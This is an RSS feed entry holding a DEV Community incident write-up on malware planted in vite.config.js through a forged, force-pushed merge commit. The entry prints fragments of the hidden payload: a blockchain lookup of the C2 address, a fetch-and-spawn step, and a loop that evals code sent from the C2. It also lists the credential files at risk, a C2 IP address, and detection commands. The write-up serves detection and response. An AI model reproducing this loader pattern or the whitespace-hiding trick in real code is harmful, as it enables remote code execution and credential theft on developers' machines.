<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: IT.Skill</title>
    <description>The latest articles on DEV Community by IT.Skill (@itskill_jp).</description>
    <link>https://dev.to/itskill_jp</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4144957%2F9cfc9330-5414-41b7-9d90-ba6117f6278e.png</url>
      <title>DEV Community: IT.Skill</title>
      <link>https://dev.to/itskill_jp</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/itskill_jp"/>
    <language>en</language>
    <item>
      <title>Infected by git pull and npm run build — Malware planted in a build config through a forged merge commit</title>
      <dc:creator>IT.Skill</dc:creator>
      <pubDate>Sun, 27 Sep 2026 00:54:11 +0000</pubDate>
      <link>https://dev.to/itskill_jp/infected-by-git-pull-and-npm-run-build-malware-planted-in-a-build-config-through-a-forged-merge-3c6l</link>
      <guid>https://dev.to/itskill_jp/infected-by-git-pull-and-npm-run-build-malware-planted-in-a-build-config-through-a-forged-merge-3c6l</guid>
      <description>&lt;p&gt;I ran &lt;code&gt;git pull&lt;/code&gt;, then &lt;code&gt;npm run build&lt;/code&gt;. That was all. I didn't open any suspicious file, and I didn't install any new package.&lt;/p&gt;

&lt;p&gt;Even so, the moment the build runs, malware starts and opens a connection to an external server.&lt;/p&gt;

&lt;p&gt;This article covers &lt;strong&gt;an attack that forges a legitimate merge commit to plant a payload in &lt;code&gt;vite.config.js&lt;/code&gt;&lt;/strong&gt;. It is a generalized summary of what a real investigation found, and it includes detection commands and response steps you can use as they are.&lt;/p&gt;

&lt;p&gt;This is not a one-off. Several security vendors have reported it as part of a campaign targeting the npm and Vite ecosystem (observed under names such as ChainVeil, ViteVenom and PolinRider). In the GitHub community, too, people have reported the same kind of thing: &lt;strong&gt;config files rewritten by a force-push&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What happens
&lt;/h2&gt;

&lt;p&gt;The sequence is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;One team member's machine gets infected with malware&lt;/li&gt;
&lt;li&gt;The malware &lt;strong&gt;steals Git hosting credentials&lt;/strong&gt; from that machine&lt;/li&gt;
&lt;li&gt;With those credentials, it &lt;strong&gt;force-pushes a poisoned commit to every branch of every repository it can reach&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Only &lt;strong&gt;one build config file&lt;/strong&gt; is poisoned. Obfuscated code is appended to the end&lt;/li&gt;
&lt;li&gt;Other members fetch the poisoned version with &lt;code&gt;git pull&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The payload starts the moment they run &lt;code&gt;npm run build&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The process it starts keeps talking to an external C2 and can &lt;strong&gt;receive and run arbitrary code&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Step 4 is the key. &lt;strong&gt;Only one file is poisoned&lt;/strong&gt;, and it is a config file every project has. Neither &lt;code&gt;node_modules&lt;/code&gt; nor &lt;code&gt;package.json&lt;/code&gt; is touched. Dependency audit tools won't catch it.&lt;/p&gt;

&lt;h2&gt;
  
  
  How fast it moves
&lt;/h2&gt;

&lt;p&gt;In the observed case, &lt;strong&gt;14 minutes&lt;/strong&gt; after a legitimate PR merge, a poisoned commit imitating the same content overwrote &lt;code&gt;develop&lt;/code&gt;, and within &lt;strong&gt;about a minute a dozen or so branches&lt;/strong&gt; had been rewritten one after another. The shortest gap was 2 seconds.&lt;/p&gt;

&lt;p&gt;This is not done by hand. A script runs the moment the credentials are obtained.&lt;/p&gt;

&lt;p&gt;And &lt;strong&gt;production and staging branches are targets too&lt;/strong&gt;. If CI/CD is running, it goes all the way to deployment.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Stage 1: living inside the build config
&lt;/h3&gt;

&lt;p&gt;Code is appended to the &lt;strong&gt;end&lt;/strong&gt; of &lt;code&gt;vite.config.js&lt;/code&gt;, after a long run of whitespace.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nf"&gt;defineConfig&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="c1"&gt;// ...normal config...&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;                    &lt;span class="err"&gt;←&lt;/span&gt; &lt;span class="nx"&gt;several&lt;/span&gt; &lt;span class="nx"&gt;hundred&lt;/span&gt; &lt;span class="nx"&gt;characters&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;whitespace&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt;     &lt;span class="nb"&gt;global&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;8-14648&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;_$_35f2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;){...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why nobody notices.&lt;/strong&gt; There are three reasons.&lt;/p&gt;

&lt;p&gt;It is at the &lt;strong&gt;end of the file, not the top&lt;/strong&gt;. In a diff, it only looks as if the &lt;code&gt;});&lt;/code&gt; line was changed.&lt;/p&gt;

&lt;p&gt;It is &lt;strong&gt;pushed off-screen by whitespace&lt;/strong&gt;, so you won't see it without scrolling sideways in the editor.&lt;/p&gt;

&lt;p&gt;And the change is effectively two lines. &lt;code&gt;git diff --stat&lt;/code&gt; shows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="p"&gt;1 file changed, 2 insertions(+), 3 deletions(-)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Almost nobody reads the contents after seeing that.&lt;/p&gt;

&lt;p&gt;ESM files also get a trick at the top so that &lt;code&gt;require&lt;/code&gt; works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createRequire&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:module&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createRequire&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;meta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The obfuscation is &lt;strong&gt;two layers deep&lt;/strong&gt;. A character swap restores a string table, then a dictionary expansion builds the code itself, which is run through the &lt;code&gt;Function&lt;/code&gt; constructor. This keeps keywords from turning up in a static search.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 2: hiding the C2 on a blockchain
&lt;/h3&gt;

&lt;p&gt;Stage 2 has one job: &lt;strong&gt;get the address of the C2 server&lt;/strong&gt;. It reads that address &lt;strong&gt;from a public blockchain&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Connect to a public Ethereum RPC over JSON-RPC
2. Get the latest block with eth_blockNumber
3. Walk back through blocks with eth_getBlockByNumber
4. Look for a transaction whose sender address contains a specific string
5. Build the C2 address from that transaction's recipient (to)
6. Fetch http://&amp;lt;C2&amp;gt;/boot and start it with child_process.spawn('node', ['-e', ...])
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three RPC endpoints are provided and tried in order. If one goes down, it still works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Three things make this technique hard to deal with.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Seizing the server does nothing.&lt;/strong&gt; The attacker just writes a new address to the blockchain and is back.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Blocking by destination domain is hard.&lt;/strong&gt; The destination is a public RPC service, which is legitimate infrastructure. Even if you don't work with blockchains at all, you can't call traffic to &lt;code&gt;publicnode.com&lt;/code&gt; malicious on that alone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A blockchain can't be deleted.&lt;/strong&gt; A system whose whole value is that nothing disappears is being used as an order sheet that never disappears.&lt;/p&gt;

&lt;p&gt;This technique is called &lt;strong&gt;EtherHiding&lt;/strong&gt;. Reported variants use TRON, Aptos and BNB Smart Chain as well as Ethereum.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 3: receiving and running arbitrary code
&lt;/h3&gt;

&lt;p&gt;In short, the resident process does this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;_H&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://&amp;lt;C2&amp;gt;:443&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-skipwarn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;   &lt;span class="c1"&gt;// can disable itself with a startup flag&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_t_h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;                                  &lt;span class="c1"&gt;// prevents running twice&lt;/span&gt;
&lt;span class="nx"&gt;_I&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;getHttpJson&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_H&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/init&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_I&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                       &lt;span class="c1"&gt;// ← runs the received code on the spot&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;This is the most important part.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because it runs code received from outside with &lt;code&gt;eval&lt;/code&gt;, &lt;strong&gt;what it actually does depends entirely on what the attacker sends&lt;/strong&gt;. &lt;code&gt;require&lt;/code&gt; is already exposed globally, so reading and writing files, sending data out, installing more persistence — anything is possible.&lt;/p&gt;

&lt;p&gt;And &lt;strong&gt;&lt;code&gt;eval&lt;/code&gt; leaves nothing on disk.&lt;/strong&gt; It is impossible in principle to determine afterwards "what was stolen".&lt;/p&gt;

&lt;h2&gt;
  
  
  How it gets in: a forged legitimate commit
&lt;/h2&gt;

&lt;p&gt;The cleverest part is &lt;strong&gt;how it gets into the repository&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;There were &lt;strong&gt;two&lt;/strong&gt; commits with the same "Merge pull request #NN".&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Legitimate&lt;/th&gt;
&lt;th&gt;Forged&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Author&lt;/td&gt;
&lt;td&gt;the member (+0900)&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;the member (+0900)&lt;/strong&gt; ← identical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Author date&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;same&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parent commits&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;same&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Commit message&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;same&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Committer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;GitHub &amp;lt;noreply@github.com&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;the member (+0100)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Signature&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;yes (PGP signature)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vite.config.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;963 bytes&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9510 bytes&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The legitimate commit was copied wholesale, rebuilt with the payload injected into the build config, and &lt;strong&gt;overwritten with a force-push&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;On GitHub's web UI, it just looks like one ordinary merge.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tell 1: is the Committer &lt;code&gt;GitHub&lt;/code&gt;?
&lt;/h3&gt;

&lt;p&gt;When you press "Merge pull request" on GitHub, the commit is actually created by GitHub's servers. So a legitimate merge always looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;author    you &amp;lt;you@example.com&amp;gt;
committer GitHub &amp;lt;noreply@github.com&amp;gt;     ← here
gpgsig    -----BEGIN PGP SIGNATURE-----   ← signed
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;A merge commit whose Committer is a person's name was not merged on GitHub.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Tell 2: is it signed?
&lt;/h3&gt;

&lt;p&gt;A commit's Author and Committer are &lt;strong&gt;just strings. Anyone can claim any name.&lt;/strong&gt; There is no password and no check. Change &lt;code&gt;git config user.name&lt;/code&gt; locally and you can commit under anyone's name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Only the signature can't be forged.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'%h %G? %cn &amp;lt;%ce&amp;gt; %s'&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check whether &lt;code&gt;%G?&lt;/code&gt; is &lt;code&gt;G&lt;/code&gt; (good signature) or &lt;code&gt;N&lt;/code&gt; (no signature).&lt;/p&gt;

&lt;h3&gt;
  
  
  Tell 3: time zone
&lt;/h3&gt;

&lt;p&gt;In the observed case, the forged commit was &lt;strong&gt;+0100&lt;/strong&gt; (Europe). A machine in Japan would never produce that value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'%h %ad %cd %s'&lt;/span&gt; &lt;span class="nt"&gt;--date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;iso &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The person whose name was used had nothing to do with it
&lt;/h3&gt;

&lt;p&gt;The forged commit carried &lt;strong&gt;the name of a different member who had not been compromised&lt;/strong&gt;. It was camouflage, to make it look like "the usual merge" on GitHub.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The name on a commit and the credentials that actually pushed it are two different things.&lt;/strong&gt; The latter can't be faked, and it is recorded in GitHub's event log.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api &lt;span class="s2"&gt;"repos/OWNER/REPO/events?per_page=100"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.[] | select(.type=="PushEvent") | "\(.created_at) \(.actor.login) \(.payload.ref)"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at this before you start hunting for a culprit. &lt;strong&gt;Questioning the person whose name was used gets you nowhere.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is exposed
&lt;/h2&gt;

&lt;p&gt;The payload &lt;strong&gt;runs with the user's own permissions&lt;/strong&gt;. Not in a container, not in a sandbox. In other words, &lt;strong&gt;it can read anything that user can read&lt;/strong&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Targets&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;every private key under &lt;code&gt;~/.ssh&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Git hosting&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.config/gh&lt;/code&gt;, &lt;code&gt;~/.git-credentials&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloud&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.aws&lt;/code&gt;, &lt;code&gt;~/.azure&lt;/code&gt;, &lt;code&gt;~/.kube&lt;/code&gt;, &lt;code&gt;~/.docker/config.json&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App config&lt;/td&gt;
&lt;td&gt;each project's &lt;code&gt;.env&lt;/code&gt; (DB credentials, API keys, etc.)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Browser&lt;/td&gt;
&lt;td&gt;saved passwords, session cookies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Packages&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.npmrc&lt;/code&gt; (npm token)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The damage is not limited to one project. The whole machine is in scope.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you work on several clients' projects from one machine, &lt;strong&gt;keys for unrelated projects are caught up too&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  "No traces" does not mean "safe"
&lt;/h3&gt;

&lt;p&gt;The investigation did &lt;strong&gt;not find&lt;/strong&gt; any of the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;files that looked like archives staged for exfiltration&lt;/li&gt;
&lt;li&gt;file-based persistence (LaunchAgents / cron / changes to shell config)&lt;/li&gt;
&lt;li&gt;contamination of &lt;code&gt;node_modules&lt;/code&gt;, the npm cache or global packages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But this is &lt;strong&gt;not evidence that nothing was stolen&lt;/strong&gt;, for three reasons.&lt;/p&gt;

&lt;p&gt;Stage 3 is &lt;code&gt;eval&lt;/code&gt;, so &lt;strong&gt;what it ran leaves nothing on disk&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The system was set not to update atime (last access time).&lt;/strong&gt; On macOS this is not unusual out of the box. The reasoning "the key's atime is old, so it wasn't read" &lt;strong&gt;does not hold&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And macOS &lt;strong&gt;does not log outbound connections by default&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The only option is to respond on the assumption that everything leaked.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Detection commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  On the machine
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Look for the running process&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"global&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;i="&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nb"&gt;grep&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If there is a process of the form &lt;code&gt;node -e global.i='...'&lt;/code&gt;, the machine is infected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Check for connections to the C2&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lsof &lt;span class="nt"&gt;-nP&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"181&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;214&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;149&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;148"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Look for poisoned files&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s1"&gt;'_\$jsoToArr'&lt;/span&gt; ~ &lt;span class="nt"&gt;--exclude-dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Library 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Check the npm cache&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s1"&gt;'_\$jsoToArr'&lt;/span&gt; ~/.npm/_cacache 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Check global packages&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s1"&gt;'_\$jsoToArr'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;npm root &lt;span class="nt"&gt;-g&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  In the repository
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Look for config files of unusual size&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A normal &lt;code&gt;vite.config.js&lt;/code&gt; is about 1 KB.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.config.*"&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"*/node_modules/*"&lt;/span&gt; &lt;span class="nt"&gt;-size&lt;/span&gt; +5k &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Look for unsigned merge commits&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'%h %G? %cn &amp;lt;%ce&amp;gt; %s'&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"GitHub &amp;lt;noreply@github.com&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Check every branch at once&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
